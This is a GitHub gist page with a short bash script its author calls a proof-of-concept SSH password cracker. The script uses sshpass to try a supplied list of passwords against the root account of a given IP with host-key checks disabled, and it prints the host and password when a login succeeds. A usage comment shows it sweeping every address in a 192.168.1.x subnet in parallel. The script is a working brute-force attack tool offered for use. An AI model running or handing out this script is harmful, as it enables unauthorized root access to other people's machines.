Created
October 24, 2016 10:45
-
-
Save Frodox/49e9da1f2e98bc2f36fd571d6fca06d2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# PoC ssh-password cracker based on sshpass pkg. | |
# Run it like: echo 192.168.1.{1..254} | tr ' ' '\n' | xargs -P$(nproc) -I{} bash -c "./hack-pc.sh {} 123123 123 12345678" | |
# | |
# | |
IP="$1" | |
shift | |
PASSES="$@" | |
echo "Trying to hack $IP..." >&2 | |
for pass in $PASSES; | |
do | |
sshpass -p "$pass" ssh -n \ | |
-o ConnectTimeout=3 \ | |
-o StrictHostKeyChecking=no \ | |
-o "UserKnownHostsFile /dev/null" \ | |
root@$IP "exit 0" | |
[[ $? -eq 0 ]] && echo -e "GOT IT: \e[1;32m$IP @ $pass\e[0m" | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment